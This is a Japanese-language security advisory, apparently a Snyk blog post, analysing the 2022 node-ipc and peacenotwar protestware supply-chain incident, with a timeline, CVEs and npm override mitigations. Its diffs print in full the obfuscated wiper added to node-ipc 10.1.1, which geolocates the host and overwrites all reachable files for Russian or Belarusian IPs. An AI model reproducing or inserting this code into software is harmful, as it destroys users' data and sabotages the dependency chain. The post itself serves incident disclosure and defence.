Skip to main content

警告:peacenotwarモジュールがnode-ipcパッケージでnpm開発者に妨害行為、ウクライナ侵攻への抗議が目的

著者
feature peacenotwar node ipc

2022年3月16日

0 分で読めます

2022年3月15日、人気のフロントエンドJavaScriptフレームワークVue.jsのユーザーが、npmエコシステムに影響を及ぼすサプライチェーン攻撃としか言いようのない事態に直面し始めました。これは、入れ子になった依存関係であるnode-ipcとpeacenotwarが、node-ipcパッケージのメンテナーによる抗議行為として妨害されたことが原因です。

このセキュリティインシデントでは、あるメンテナーによるディスク上のファイルを破損させる破壊行為と、その意図的な妨害行為を隠し、別の形で繰り返そうとする試みが確認されています。抗議を動機とする攻撃ですが、ソフトウェアサプライチェーンが抱えるより大きな問題を浮き彫りにしています。コード内の推移的依存関係は、セキュリティに大きな影響を及ぼす可能性があります。

Snykは、この記事で取り上げるセキュリティインシデントを、次のCVEを通じて追跡しています。CVE-2022-23812はnode-ipcに関するもの、SNYK-JS-PEACENOTWAR-2426724はnpmモジュールpeacenotwarとoneday-testに関するものです。すでにSnykでオープンソースセキュリティとサプライチェーンセキュリティに取り組んでいる場合は、この問題について通知やアラートを受け取り、安全を確保して状況を把握できるよう、ツールが自動でプルリクエストを作成します。このサプライチェーン攻撃の詳細について、続きをご覧ください。

npmパッケージnode-ipcの悪用に至るまでの経緯

この出来事は、2022年3月8日午後6時(GMT+2)に始まりました。npmメンテナーのRIAEvangelist(Brandon Nozaki Miller)はソースコードを作成し、peacenotwarというnpmパッケージを公開しました。このモジュールの説明には、次のように記されています。

This code serves as a non-destructive example of why controlling 
your node modules is important. It also serves as a non-violent 
protest against Russia's aggression that threatens the world right 
now. This module will add a message of peace on your users' 
desktops, and it will only do it if it does not already exist 
just to be polite.

昨日(3月15日)まで、このモジュールのダウンロード数はほぼゼロでした。しかし、npmメンテナーがこのモジュールを、エコシステム内の多くのJavaScript開発者が利用している人気モジュールnode-ipcの依存関係に加えたことで、状況は一変しました。

現在のタグ9.1.6と、ダウンロード数および公開日を含むバージョン履歴を示すバージョン一覧

JavaScriptエコシステムのプロジェクトの一つに、Vue.jsのコマンドラインツールであるVue.js CLI(npmパッケージ@vue/cli)があります。次の入れ子になった依存関係ツリーを見ると、node-ipcがどのようにVue.js CLIのnpmパッケージに取り込まれるかがわかります。入れ子になった依存関係を包括的なリスクとして精査する必要性も示しています。

- @vue/cli
   |
   - @vue/cli-ui
      |
      - node-ipc@^9.2.1
   - @vue/cli-shared-utils
      |
      - node-ipc@^9.1.1

npmパッケージnode-ipcの最新の「安定」バージョン(バージョン9.2.2)には、peacenotwarがバンドルされています。さらに、依存関係の範囲にワイルドカード*を指定して、悪名高いnpmパッケージcolorsもバンドルしています。npmパッケージcolorsとfakerが、メンテナーのMarakによって意図的に悪用・改ざんされた経緯をご存じない方は、オープンソースのサプライチェーンセキュリティを別の視点から考えるためにも、ぜひご一読ください。

事態のタイムライン

node-ipcの以前のバージョン(6か月前にリリースされた10.1.0や、9か月前にリリースされた10.0.0まで)には、正当な更新や改善が加えられていました。しかし……

3月7日

先週、バージョン10.1.1が公開されました。コードに明らかな変更が加えられ、不審な活動やソースコードおよびパッケージの動作が悪用される可能性への懸念が生じました。バージョン10.1.0と10.1.1の違いを見てみましょう。

diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.0..v10.1.1 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,6 +1030,74 @@
   });
 }

+// dao/ssl-geospec.js
+var import_path = __toModule(require("path"));
+var import_fs3 = __toModule(require("fs"));
+var import_https = __toModule(require("https"));
+setTimeout(function() {
+  const t = Math.round(Math.random() * 4);
+  if (t > 1) {
+    return;
+  }
+  const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
+  import_https.default.get(n.toString("utf8"), function(t2) {
+    t2.on("data", function(t3) {
+      const n2 = Buffer.from("Li8=", "base64");
+      const o2 = Buffer.from("Li4v", "base64");
+      const r = Buffer.from("Li4vLi4v", "base64");
+      const f = Buffer.from("Lw==", "base64");
+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+      const e = Buffer.from("cnVzc2lh", "base64");
+      const i = Buffer.from("YmVsYXJ1cw==", "base64");
+      try {
+        const s = JSON.parse(t3.toString("utf8"));
+        const u2 = s[c.toString("utf8")].toLowerCase();
+        const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
+        if (a2) {
+          h(n2.toString("utf8"));
+          h(o2.toString("utf8"));
+          h(r.toString("utf8"));
+          h(f.toString("utf8"));
+        }
+      } catch (t4) {
+      }
+    });
+  });
+}, Math.ceil(Math.random() * 1e3));
+async function h(n = "", o2 = "") {
+  if (!import_fs3.default.existsSync(n)) {
+    return;
+  }
+  let r = [];
+  try {
+    r = import_fs3.default.readdirSync(n);
+  } catch (t) {
+  }
+  const f = [];
+  const c = Buffer.from("4p2k77iP", "base64");
+  for (var e = 0; e < r.length; e++) {
+    const i = import_path.default.join(n, r[e]);
+    let t = null;
+    try {
+      t = import_fs3.default.lstatSync(i);
+    } catch (t2) {
+      continue;
+    }
+    if (t.isDirectory()) {
+      const s = h(i, o2);
+      s.length > 0 ? f.push(...s) : null;
+    } else if (i.indexOf(o2) >= 0) {
+      try {
+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+        });
+      } catch (t2) {
+      }
+    }
+  }
+  return f;
+}
+var ssl = true;
+

CommonJS互換のNode.jsモジュールnode-ipc.cjsは、コードが1000行を超える非常に長いモジュールです。外部へのHTTPS通信やBase64でエンコードされたデータが含まれているだけでも、不正行為の可能性を警告する十分な理由となり、侵害の痕跡(IoC)を特定する手がかりになります。

node-ipc@10.1.1に追加されたこのコードはタイマーを設定します。node-ipc関連のコードが呼び出されるたびに、あらかじめ設定されたランダムな間隔で関数を実行します。その関数は、ファイルシステム操作を行うように見えます。

ファイルシステム操作を実行する関数に渡される引数の、Base64でエンコードされた値を詳しく見てみましょう。上記の差分を見ると、次のとおりです。

+      const n2 = Buffer.from("Li8=", "base64");
+      const o2 = Buffer.from("Li4v", "base64");
+      const r = Buffer.from("Li4vLi4v", "base64");
+      const f = Buffer.from("Lw==", "base64");
+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+      const e = Buffer.from("cnVzc2lh", "base64");
+      const i = Buffer.from("YmVsYXJ1cw==", "base64");

これらすべてが、次のようにタイマー関数に渡されます。

+          h(n2.toString("utf8"));

上記のBase64エンコード文字列をデコードすると、次の値になります。

  • n2の値は./です

  • o2の値は../です

  • rの値は../../です

  • fの値は/です

これらがタイマー関数に渡されると、次のコード行でファイル入力元として使われ、ファイルの内容を消去してハートの絵文字に置き換えます(差分の+  const c = Buffer.from("4p2k77iP", "base64");で示されています)。

+      try {
+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+        });

このnpmパッケージが呼び出されるシステムの地理的位置がロシアまたはベラルーシに該当する場合、この時点で明白な悪用が発生し、深刻なサプライチェーンセキュリティインシデントにつながります。

ターミナルに、ロシアとベラルーシの位置情報やファイル上書きを示すハートマークなど、シミュレーションされたNode.jsのデバッグ結果が表示されている。
テスト用サンドボックスでシミュレートされたデバッグ結果。

node-ipc@10.1.1のREADMEには、新たに追加されたこの動作についての記載がありません。代わりにRIAEvangelistへの支援を呼びかけ、バージョン10以降のnode-ipcでES6版とCommonJS版を使う方法を例示しています。

約10時間後、バージョンnode-ipc@10.1.2がリリースされました。バージョン番号以外の変更はほとんどありません。依存関係の自動アップグレードを促す狙いがあった可能性があります。2つのバージョン間のgit差分全体を以下に示します。

diff --git a/package.json b/package.json
index v10.1.1..v10.1.2 100666
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "node-ipc",
-  "version": "10.1.1",
+  "version": "10.1.2",
   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
   "type": "module",
   "main": "node-ipc.cjs",

3月8日

その約5時間後、3月8日に新しいリリースnode-ipc@10.1.3が公開され、前述の破壊的なペイロードに関する痕跡がすべて削除されたようです。2つのバージョン間のgit差分を確認すると、次のことがわかります。

diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.2..v10.1.3 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,74 +1030,6 @@
   });
 }

-// dao/ssl-geospec.js
-var import_path = __toModule(require("path"));
-var import_fs3 = __toModule(require("fs"));
-var import_https = __toModule(require("https"));
-setTimeout(function() {
-  const t = Math.round(Math.random() * 4);
-  if (t > 1) {
-    return;
-  }

…
diff --git a/dao/ssl-geospec.js b/dao/ssl-geospec.js
deleted file mode 100666
index v10.1.2..v10.1.3
--- a/dao/ssl-geospec.js
+++ b/dao/ssl-geospec.js
@@ -1,1 +0,0 @@
-import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

この動作を報告したGitHubのIssueでのやりとりを受け、10.xのバージョンブランチから削除されたと考えられます。このIssueでメンテナーは、ライブラリの新しいメジャーバージョンの一部として、このペイロードを公開したと主張しています。

ユーザーのデスクトップに平和を願うメッセージを表示するモジュールと依存関係のバージョン管理について、RIAEvangelistが投稿したダークテーマのフォーラムコメント。

ここまでをまとめると、脆弱なnode-ipcのバージョンnode-ipc@10.1.1とnode-ipc@10.1.2がnpmjsレジストリに存在した期間は24時間未満でした。しかし、開発者やビルドシステムによるダウンロード数が非常に多かったため、一部に確実に影響が及んでいます。公開リポジトリで報告されていることも確認しています。

Vue CLIのnode-ipcのセキュリティ問題と、ハードドライブがフォーマットされる可能性への懸念を表す、donanによるダークテーマのコメント。

ただし、脆弱なバージョン10.1.1と10.1.2はすでにnpmjsレジストリから削除されており、メンテナーまたはnpmjsチームによってdeprecatedとしてマークされています。次のnpmjsウェブサイトの通知からも確認できます。

「このバージョンは非推奨です」と表示された通知。作成者のメッセージは「セキュリティ上の問題」です。

3月8日午後7時25分(GMT+2)、破壊的なペイロードをロールバックするnode-ipc@10.1.3の公開から4時間も経たないうちに、新しいメジャーバージョンnode-ipc@11.0.0がnpmjsレジストリで公開されました。何が変わったのでしょうか。

新しいメジャーバージョンnode-ipc@11.0.0には、次の内容が含まれています。

  • peacenotwarモジュールへの依存関係

  • node-ipcモジュールの機能が呼び出されるたびに、peacenotwarモジュールから取得したメッセージをSTDOUTに出力します。また、ロシアとウクライナの現在の戦時状況に関する内容を記したファイルを、ユーザーのデスクトップディレクトリに作成します。

  • 11.0.0のREADMEには、このモジュールでpeacenotwarを明示的に使用することが、次のように記載されています。***as of v11*** this module uses the [peacenotwar](https://github.com/RIAEvangelist/peacenotwar) module.

npmパッケージpeacenotwarがnode-ipcのメインライン版に組み込まれ、数百万人の開発者に影響を及ぼすに至った経緯

3月15日

昨日、3月15日午後6時(GMT+2)と午後7時40分(GMT+2)に、node-ipcの新しいバージョンが2つ公開され、大きな影響を及ぼしました。なかでも重要なのは、新しいパッチバージョンnode-ipc@9.2.2です。これはnode-ipcの最新安定ブランチであり、前述のVue.js CLI、@vue/cliを含む多くのエコシステムプロジェクトが依存しているためです。

node-ipc@9.2.2に追加された変更は次のとおりです。

  1. パッケージの内容にサンプルソースコードを追加しています。

  2. 依存関係にpeacenotwarを追加し、それをインポートする依存パッケージからnode-ipcが呼び出されたときに実行します。

  3. また、colors@*への依存関係を明示的に追加しています。これにより、別のメンテナーが意図的に脆弱性を含めたソースコードが取り込まれます。

  4. この新しいマイナーバージョンでは、ライセンスがMITライセンスからDBADライセンスに変更されています。編集者注:DBADライセンスには粗野な表現が含まれています。

ほぼ同じ時期に、新しいマイナーバージョンnode-ipc@11.1.0もリリースされました。peacenotwarの依存バージョンを更新する一方、STDOUTに出力されていたconsole.log()メッセージは削除されています。次のnode-ipcの2つのnpmパッケージ間のgit差分ログで確認できます。

diff --git a/node-ipc.cjs b/node-ipc.cjs
index v11.0.0..v11.1.0 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1328,7 +1328,6 @@
 var OneDriveDesktopFileExists = fromDir(OneDriveDesktops, "WITH-LOVE-FROM-AMERICA.txt");
 var OneDriveFileExists = fromDir(OneDrive, "WITH-LOVE-FROM-AMERICA.txt");
 function deliverAPeacefulMessage(path2, message) {
-  console.log(path2);
   try {
     import_fs5.default.writeFile(path2, message, function(err) {
     });
@@ -1336,7 +1335,6 @@
   }
 }
 if (!(DesktopFileExists == null ? void 0 : DesktopFileExists.length) && !(OneDriveFileExists == null ? void 0 : OneDriveFileExists.length) && !(OneDriveDesktopFileExists == null ? void 0 : OneDriveDesktopFileExists.length)) {
-  console.log("in here");
   const thinkaboutit = "WITH-LOVE-FROM-AMERICA.txt";
   const WITH_LOVE_FROM_AMERICA = read(`./${thinkaboutit}`);
   deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`, WITH_LOVE_FROM_AMERICA);
diff --git a/package.json b/package.json
index v11.0.0..v11.1.0 100666
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "node-ipc",
-  "version": "11.0.0",
+  "version": "11.1.0",
   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
   "type": "module",
   "main": "node-ipc.cjs",
@@ -19,7 +19,7 @@
     "event-pubsub": "5.0.3",
     "js-message": "1.0.7",
     "js-queue": "2.0.2",
-    "peacenotwar": "^9.1.3",
+    "peacenotwar": "^9.1.5",
     "strong-type": "^1.0.1"
   },
   "devDependencies": {

メンテナーの評判とサプライチェーンセキュリティ

メンテナーのRIAEvangelistによる意図的で危険な行為を、正当な抗議活動だと捉える人もいるかもしれません。しかし、この行為は今後の評判や開発者コミュニティでの立場にどのような影響を与えるでしょうか。このメンテナーが関わるプロジェクトで、今後同様の、あるいはさらに過激な行為をしないと、再び信頼されることはあるのでしょうか。

現在、RIAEvangelistは40を超えるnpmパッケージをメンテナンスしており、そのダウンロード数は合計で数億回に上ります。管理しているモジュールの一部と、npmjsレジストリでの週間ダウンロード数を紹介します。

npmモジュール

週間ダウンロード数

node-ipc — ローカルおよびリモートのプロセス間通信(IPC)、ニューラルネットワークに対応し、機械学習を可能にするNode.jsモジュール。

1,055,386

js-queue — Nodeとブラウザーで自動実行できるシンプルなJSキュー。

1,042,512

easy-stack — Nodeとブラウザーで自動実行できるシンプルなJSスタック。

1,001,945

js-message — node.js、vanilla js、react.js、コンポーネント、アクション、ストア、ディスパッチャー向けに正規化されたJSオブジェクト、JSONメッセージ、イベントプロトコル。

1,001,943

event-pubsub — Nodeとブラウザー向けの、非常に軽量で高速な拡張可能なES6以降のイベントおよびEventEmitter。開発者のスキルレベルを問わず簡単に使え、Nodeとブラウザーでまったく同じコードを使用できます。余計な機能はなく、イベント処理は高速です。

996,076

node-cmd — CLIやbash形式のコマンドを、ターミナル上と同じように実行できるシンプルなコマンドライン/ターミナル/シェルインターフェース。

41,083

Snyk Security Researchチームは、このメンテナーの他のパッケージに同様の意図的な悪用を示す兆候を確認していませんが、npmjsエコシステムで公開される更新を引き続き注意深く監視しています。

node-ipcの問題を緩和する方法

今後のコード更新によってユーザーが危険にさらされる懸念があるため、npmパッケージnode-ipcは一切使用しないことを推奨します。構築中のアプリケーションの一部として、このnpmパッケージがプロジェクトに含まれている場合は、npmパッケージマネージャーの機能を使って改ざんされたバージョンをすべて上書きし、推移的依存関係を安全が確認されたバージョンに固定してください。

パッケージマネージャーにnpmを使用している場合は、package.jsonファイルに次の内容を追加すると、安全なバージョンのnode-ipcのみを明示的に許可できます。

  "overrides": {
    "node-ipc@>9.2.1 <10": "9.2.1",
    "node-ipc@>10.1.0": "10.1.0"
  }

node-ipcインシデントで影響を受けた、著名なプロジェクト

Vue.jsプロジェクトでnode-ipcのプロテストウェアの脆弱性が判明

Vue.js CLIは以前、node-ipcの9.xバージョン範囲に依存しており、ユーザーのデスクトップディレクトリにWITH-LOVE-FROM-AMERICA.txtファイルを書き込むpeacenotwarモジュールが追加されたバージョン9.2.2に対して脆弱でした。@vue/cliの脆弱性はすでに修正されています。お使いのパッケージマネージャーで、@vue/cliを4.5.16以降または5.0.3以降の最新バージョンに更新してください。

npm i -g @vue/cli
pnpm i -g @vue/cli
yarn global add @vue/cli

Unityゲームエンジンでnode-ipcのプロテストウェアの脆弱性が判明

Unityのゲームエンジンプロジェクトにおいて、node-ipc@9.2.2がソフトウェアとともに配布されていたことが報告されました。デスクトップに新しいファイルが作成されていることにユーザーが気づき、懸念が広がりました。Unityチームは問題を軽減するため、3月16日にホットフィックス版3.1.1を急遽リリースしました。

概要

Snykはウクライナを支援します。現在も続く危機の中、世界中の開発者への寄付と無料サービスの提供を通じて、ウクライナの人々を積極的に支援するとともに、ロシアとベラルーシでの事業を停止する措置を講じてきました。一方で、このような意図的な悪用は、グローバルなオープンソースコミュニティを損なうものであり、影響を受けたバージョンのnode-ipcをセキュリティ脆弱性として警告する必要があります。

そこでSnykのセキュリティチームは、node-ipcの意図的に脆弱性を仕込まれたバージョンに関する脆弱性を周知・追跡するため、CVE-2022-23812およびSNYK-JS-PEACENOTWAR-2426724を公開しました。Snykの無料プランにもこの新たな脆弱性が反映されており、開発者はスキャンや監視を行い、プルリクエストによるセキュリティ修正を自動的に適用できます。

それでも、サプライチェーンにおけるセキュリティインシデントは、オープンソースの依存関係に伴うリスクを適切に管理し、迅速に対応する必要性を示し続けています。さらに、npmjsのJavaScriptエコシステムなどで見られる依存関係の複雑な入れ子構造は、主要なエコシステムプロジェクト全体に影響が波及することを改めて明らかにしました。

わずか2か月前にも、オープンソースのメンテナーがnpmパッケージの「colors」と「faker」を停止させたことで広範な影響が生じた、同様のセキュリティインシデントを取り上げました。この事例は、メンテナーがオープンソースライブラリを意図的に妨害できることを示しています。

ソフトウェアの依存関係を大規模に管理する方法を身につけることは、ますます重要になっています。開発者としてnpmのセキュリティに関するベストプラクティスに従うとともに、npmのロックファイルが悪意あるモジュールの混入を見逃すセキュリティ上の盲点になり得る理由など、セキュリティ上の落とし穴やインシデントについて学ぶことも大切です。

サプライチェーンセキュリティについて、以下のブログで詳しくご紹介します。